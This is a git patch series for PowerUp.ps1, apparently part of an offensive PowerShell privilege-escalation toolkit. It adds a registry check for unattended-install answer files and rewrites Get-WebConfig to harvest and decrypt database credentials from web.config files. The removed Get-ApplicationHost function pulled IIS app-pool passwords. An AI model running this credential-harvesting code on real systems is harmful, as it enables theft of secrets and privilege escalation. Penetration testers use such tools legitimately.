From aee2cca77e74c8dd14ec544921855672de418c16 Mon Sep 17 00:00:00 2001 From: "@s4gi_" Date: Tue, 24 Oct 2017 02:17:54 +0800 Subject: [PATCH 1/2] Add additional search entry for 'Get-UnattendedInstallFile' Based on https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/windows-setup-automation-overview, under the Implicit Answer File Search Order section, an additional location for an answer file may exist at HKLM\SYSTEM\Setup\UnattendFile. As pointed in the article, the full path to the file is stored under the aforementioned registry key. The file does not need to be named as Unattend.xml or the like, and can be located anywhere on the drive. --- Privesc/PowerUp.ps1 | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 45edcecf..e891ca62 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -3710,6 +3710,7 @@ Finds any remaining unattended installation files. .LINK http://www.fuzzysecurity.com/tutorials/16.html +https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/windows-setup-automation-overview .OUTPUTS @@ -3745,6 +3746,14 @@ Custom PSObject containing results. $Out.PSObject.TypeNames.Insert(0, 'PowerUp.UnattendedInstallFile') $Out } + + # test the existence of the unattend file entry in the registry + $RegValue = (Get-ItemProperty -Path HKLM:\SYSTEM\Setup -Name UnattendFile).UnattendFile + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'UnattendPath' $RegValue + $Out | Add-Member Aliasproperty Name UnattendPath + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.UnattendedInstallFile') + $Out $ErrorActionPreference = $OrigError } From 614d829003d0320b191f2ad5c92cd318ea24f6e2 Mon Sep 17 00:00:00 2001 From: "@s4gi_" Date: Thu, 26 Oct 2017 15:44:10 +0800 Subject: [PATCH 2/2] Fix Get-WebConfig and Remove Get-ApplicationHost --- Privesc/PowerUp.ps1 | 409 +++++++++++++------------------------------- 1 file changed, 118 insertions(+), 291 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index e891ca62..99d143de 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -3758,63 +3758,76 @@ Custom PSObject containing results. $ErrorActionPreference = $OrigError } - function Get-WebConfig { <# .SYNOPSIS -This script will recover cleartext and encrypted connection strings from all web.config -files on the system. Also, it will decrypt them if needed. +This script will recover cleartext and encrypted connection strings from web.config +files that were found on the system. -Author: Scott Sutherland, Antti Rantasaari +Original authors: Scott Sutherland, Antti Rantasaari +Further improvements: Sagi Shahar (@s4gi_) License: BSD 3-Clause -Required Dependencies: None +Required Dependencies: Decryption is achieved using aspnet_regiis.exe. This utility +is installed by default with IIS. .DESCRIPTION -This script will identify all of the web.config files on the system and recover the -connection strings used to support authentication to backend databases. If needed, the -script will also decrypt the connection strings on the fly. The output supports the -pipeline which can be used to convert all of the results into a pretty table by piping -to format-table. +This script will recursively traverse a directory tree of a user-provided root directory (defaults +to %SystemDrive%\inetpub) in an attempt to identify all of the web.config files and recover the +connection strings they may contain. If required, the script will also decrypt the connection strings +on the fly. The output supports the pipeline which can be used to convert all of the results into a +table by piping to format-table. .EXAMPLE -Return a list of cleartext and decrypted connect strings from web.config files. +PS C:\Users\User\> Get-WebConfig -Get-WebConfig +user : Admin +pass : password123 +dbserv : localhost +path : C:\inetpub\wwwroot\web.config +encr : Yes -user : s1admin -pass : s1password -dbserv : 192.168.1.103\server1 -vdir : C:\test2 -path : C:\test2\web.config +user : Admin2 +pass : password456 +dbserv : localhost +path : C:\inetpub\mysite\web.config encr : No -user : s1user -pass : s1password -dbserv : 192.168.1.103\server1 -vdir : C:\inetpub\wwwroot +.EXAMPLE + +PS C:\Users\User> Get-WebConfig -Dir C:\ + +user : Admin +pass : password123 +dbserv : localhost path : C:\inetpub\wwwroot\web.config encr : Yes -.EXAMPLE +user : Admin +pass : password123 +dbserv : localhost +path : C:\RandomWebRoot\web.config +encr : Yes -Return a list of clear text and decrypted connect strings from web.config files. +user : Admin2 +pass : password456 +dbserv : localhost +path : C:\inetpub\mysite\web.config +encr : No -Get-WebConfig | Format-Table -Autosize +.EXAMPLE -user pass dbserv vdir path encr ----- ---- ------ ---- ---- ---- -s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No -s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No -s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No -s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes -s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No +PS C:\> Get-WebConfig -Directory C:\ | Format-Table -Autosize -.OUTPUTS +user pass dbserv path encr +---- ---- ------ ---- ---- +Admin password123 localhost C:\inetpub\wwwroot\web.config Yes +Admin password123 localhost C:\RandomWebRoot\web.config Yes +Admin2 password456 localhost C:\inetpub\mysite\web.config No -System.Boolean +.OUTPUTS System.Data.DataTable @@ -3831,8 +3844,6 @@ http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx Below is an alterantive method for grabbing connection strings, but it doesn't support decryption. for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings -Author: Scott Sutherland - 2014, NetSPI -Author: Antti Rantasaari - 2014, NetSPI #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] @@ -3840,295 +3851,111 @@ Author: Antti Rantasaari - 2014, NetSPI [OutputType('System.Boolean')] [OutputType('System.Data.DataTable')] [CmdletBinding()] - Param() + Param( + [Parameter(Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('Directory')] + [String] + [ValidateNotNullOrEmpty()] + $Dir = "$Env:SystemDrive\inetpub" + ) $OrigError = $ErrorActionPreference $ErrorActionPreference = 'SilentlyContinue' - # Check if appcmd.exe exists - if (Test-Path ("$Env:SystemRoot\System32\InetSRV\appcmd.exe")) { + # Create data table to house results + $DataTable = New-Object System.Data.DataTable + + # Create and name columns in the data table + $Null = $DataTable.Columns.Add('user') + $Null = $DataTable.Columns.Add('pass') + $Null = $DataTable.Columns.Add('dbserv') + $Null = $DataTable.Columns.Add('path') + $Null = $DataTable.Columns.Add('encr') - # Create data table to house results - $DataTable = New-Object System.Data.DataTable + # Search for web.config files in the provided directory + Get-ChildItem -Path $Dir -Recurse -Filter web.config | Select-Object -ExpandProperty FullName -Unique | ForEach-Object { - # Create and name columns in the data table - $Null = $DataTable.Columns.Add('user') - $Null = $DataTable.Columns.Add('pass') - $Null = $DataTable.Columns.Add('dbserv') - $Null = $DataTable.Columns.Add('vdir') - $Null = $DataTable.Columns.Add('path') - $Null = $DataTable.Columns.Add('encr') + # Set web.config path + $CurrentPath = $_ - # Get list of virtual directories in IIS - C:\Windows\System32\InetSRV\appcmd.exe list vdir /text:physicalpath | - ForEach-Object { + # Read the data from the web.config xml file + [xml]$ConfigFile = Get-Content $CurrentPath - $CurrentVdir = $_ + # Check if the connectionStrings are encrypted + if ($ConfigFile.configuration.connectionStrings.add) { - # Converts CMD style env vars (%) to powershell env vars (env) - if ($_ -like "*%*") { - $EnvarName = "`$Env:"+$_.split("%")[1] - $EnvarValue = Invoke-Expression $EnvarName - $RestofPath = $_.split('%')[2] - $CurrentVdir = $EnvarValue+$RestofPath + # Foreach connection string add to data table + $ConfigFile.configuration.connectionStrings.add| + ForEach-Object { + + [String]$MyConString = $_.connectionString + if ($MyConString -like '*password*') { + $ConfUser = $MyConString.Split('=')[3].Split(';')[0] + $ConfPass = $MyConString.Split('=')[4].Split(';')[0] + $ConfServ = $MyConString.Split('=')[1].Split(';')[0] + $ConfEnc = 'No' + $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ, $CurrentPath, $ConfEnc) + } } + } + else { - # Search for web.config files in each virtual directory - $CurrentVdir | Get-ChildItem -Recurse -Filter web.config | ForEach-Object { + # Find newest version of aspnet_regiis.exe to use (it works with older versions) + $AspnetRegiisPath = Get-ChildItem -Path "$Env:SystemRoot\Microsoft.NET\Framework\" -Recurse -filter 'aspnet_regiis.exe' | Sort-Object -Descending | Select-Object fullname -First 1 - # Set web.config path - $CurrentPath = $_.fullname + # Check if aspnet_regiis.exe exists + if (Test-Path ($AspnetRegiisPath.FullName)) { - # Read the data from the web.config xml file - [xml]$ConfigFile = Get-Content $_.fullname + # Setup path for temp web.config to the current user's temp dir + $WebConfigPath = (Get-Item $Env:temp).FullName + '\web.config' - # Check if the connectionStrings are encrypted - if ($ConfigFile.configuration.connectionStrings.add) { + # Copy web.config from original directory to temp directory for decryption + Copy-Item $CurrentPath $WebConfigPath + + # Decrypt web.config in temp directory + $AspnetRegiisCmd = $AspnetRegiisPath.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName' + $Null = Invoke-Expression $AspnetRegiisCmd + + # Read the data from the web.config in temp directory + [xml]$TMPConfigFile = Get-Content $WebConfigPath + + # Remove web.config from temp directory + Remove-Item $WebConfigPath + + # Check if the connectionStrings are still encrypted + if ($TMPConfigFile.configuration.connectionStrings.add) { # Foreach connection string add to data table - $ConfigFile.configuration.connectionStrings.add| - ForEach-Object { + $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object { [String]$MyConString = $_.connectionString if ($MyConString -like '*password*') { $ConfUser = $MyConString.Split('=')[3].Split(';')[0] $ConfPass = $MyConString.Split('=')[4].Split(';')[0] $ConfServ = $MyConString.Split('=')[1].Split(';')[0] - $ConfVdir = $CurrentVdir - $ConfEnc = 'No' - $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ, $ConfVdir, $CurrentPath, $ConfEnc) + $ConfEnc = 'Yes' + $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ, $CurrentPath, $ConfEnc) } } } else { - - # Find newest version of aspnet_regiis.exe to use (it works with older versions) - $AspnetRegiisPath = Get-ChildItem -Path "$Env:SystemRoot\Microsoft.NET\Framework\" -Recurse -filter 'aspnet_regiis.exe' | Sort-Object -Descending | Select-Object fullname -First 1 - - # Check if aspnet_regiis.exe exists - if (Test-Path ($AspnetRegiisPath.FullName)) { - - # Setup path for temp web.config to the current user's temp dir - $WebConfigPath = (Get-Item $Env:temp).FullName + '\web.config' - - # Remove existing temp web.config - if (Test-Path ($WebConfigPath)) { - Remove-Item $WebConfigPath - } - - # Copy web.config from vdir to user temp for decryption - Copy-Item $CurrentPath $WebConfigPath - - # Decrypt web.config in user temp - $AspnetRegiisCmd = $AspnetRegiisPath.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName' - $Null = Invoke-Expression $AspnetRegiisCmd - - # Read the data from the web.config in temp - [xml]$TMPConfigFile = Get-Content $WebConfigPath - - # Check if the connectionStrings are still encrypted - if ($TMPConfigFile.configuration.connectionStrings.add) { - - # Foreach connection string add to data table - $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object { - - [String]$MyConString = $_.connectionString - if ($MyConString -like '*password*') { - $ConfUser = $MyConString.Split('=')[3].Split(';')[0] - $ConfPass = $MyConString.Split('=')[4].Split(';')[0] - $ConfServ = $MyConString.Split('=')[1].Split(';')[0] - $ConfVdir = $CurrentVdir - $ConfEnc = 'Yes' - $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ, $ConfVdir, $CurrentPath, $ConfEnc) - } - } - } - else { - Write-Verbose "Decryption of $CurrentPath failed." - $False - } - } - else { - Write-Verbose 'aspnet_regiis.exe does not exist in the default location.' - $False - } + Write-Verbose "Decryption of $CurrentPath failed." } } - } - - # Check if any connection strings were found - if ( $DataTable.rows.Count -gt 0 ) { - # Display results in list view that can feed into the pipeline - $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique - } - else { - Write-Verbose 'No connection strings found.' - $False - } - } - else { - Write-Verbose 'Appcmd.exe does not exist in the default location.' - $False - } - $ErrorActionPreference = $OrigError -} - - -function Get-ApplicationHost { -<# -.SYNOPSIS - -Recovers encrypted application pool and virtual directory passwords from the applicationHost.config on the system. - -Author: Scott Sutherland -License: BSD 3-Clause -Required Dependencies: None - -.DESCRIPTION - -This script will decrypt and recover application pool and virtual directory passwords -from the applicationHost.config file on the system. The output supports the -pipeline which can be used to convert all of the results into a pretty table by piping -to format-table. - -.EXAMPLE - -Return application pool and virtual directory passwords from the applicationHost.config on the system. - -Get-ApplicationHost - -user : PoolUser1 -pass : PoolParty1! -type : Application Pool -vdir : NA -apppool : ApplicationPool1 -user : PoolUser2 -pass : PoolParty2! -type : Application Pool -vdir : NA -apppool : ApplicationPool2 -user : VdirUser1 -pass : VdirPassword1! -type : Virtual Directory -vdir : site1/vdir1/ -apppool : NA -user : VdirUser2 -pass : VdirPassword2! -type : Virtual Directory -vdir : site2/ -apppool : NA - -.EXAMPLE - -Return a list of cleartext and decrypted connect strings from web.config files. - -Get-ApplicationHost | Format-Table -Autosize - -user pass type vdir apppool ----- ---- ---- ---- ------- -PoolUser1 PoolParty1! Application Pool NA ApplicationPool1 -PoolUser2 PoolParty2! Application Pool NA ApplicationPool2 -VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA -VdirUser2 VdirPassword2! Virtual Directory site2/ NA - -.OUTPUTS - -System.Data.DataTable - -System.Boolean - -.LINK - -https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 -http://www.netspi.com -http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe -http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx - -.NOTES - -Author: Scott Sutherland - 2014, NetSPI -Version: Get-ApplicationHost v1.0 -Comments: Should work on IIS 6 and Above -#> - - [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] - [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')] - [OutputType('System.Data.DataTable')] - [OutputType('System.Boolean')] - [CmdletBinding()] - Param() - - $OrigError = $ErrorActionPreference - $ErrorActionPreference = 'SilentlyContinue' - - # Check if appcmd.exe exists - if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) { - # Create data table to house results - $DataTable = New-Object System.Data.DataTable - - # Create and name columns in the data table - $Null = $DataTable.Columns.Add('user') - $Null = $DataTable.Columns.Add('pass') - $Null = $DataTable.Columns.Add('type') - $Null = $DataTable.Columns.Add('vdir') - $Null = $DataTable.Columns.Add('apppool') - - # Get list of application pools - Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object { - - # Get application pool name - $PoolName = $_ - - # Get username - $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username" - $PoolUser = Invoke-Expression $PoolUserCmd - - # Get password - $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password" - $PoolPassword = Invoke-Expression $PoolPasswordCmd - - # Check if credentials exists - if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) { - # Add credentials to database - $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) - } - } - - # Get list of virtual directories - Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object { - - # Get Virtual Directory Name - $VdirName = $_ - - # Get username - $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName" - $VdirUser = Invoke-Expression $VdirUserCmd - - # Get password - $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password" - $VdirPassword = Invoke-Expression $VdirPasswordCmd - - # Check if credentials exists - if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) { - # Add credentials to database - $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') + else { + Write-Verbose 'aspnet_regiis.exe does not exist in the default location.' } } + } - # Check if any passwords were found - if ( $DataTable.rows.Count -gt 0 ) { - # Display results in list view that can feed into the pipeline - $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique - } - else { - # Status user - Write-Verbose 'No application pool or virtual directory passwords were found.' - $False - } + # Check if any connection strings were found + if ( $DataTable.rows.Count -gt 0 ) { + + # Display results in list view that can feed into the pipeline + $DataTable | Sort-Object user,pass,dbserv,path,encr | Select-Object user,pass,dbserv,path,encr -Unique } else { - Write-Verbose 'Appcmd.exe does not exist in the default location.' - $False + Write-Verbose 'No connection strings found.' } $ErrorActionPreference = $OrigError }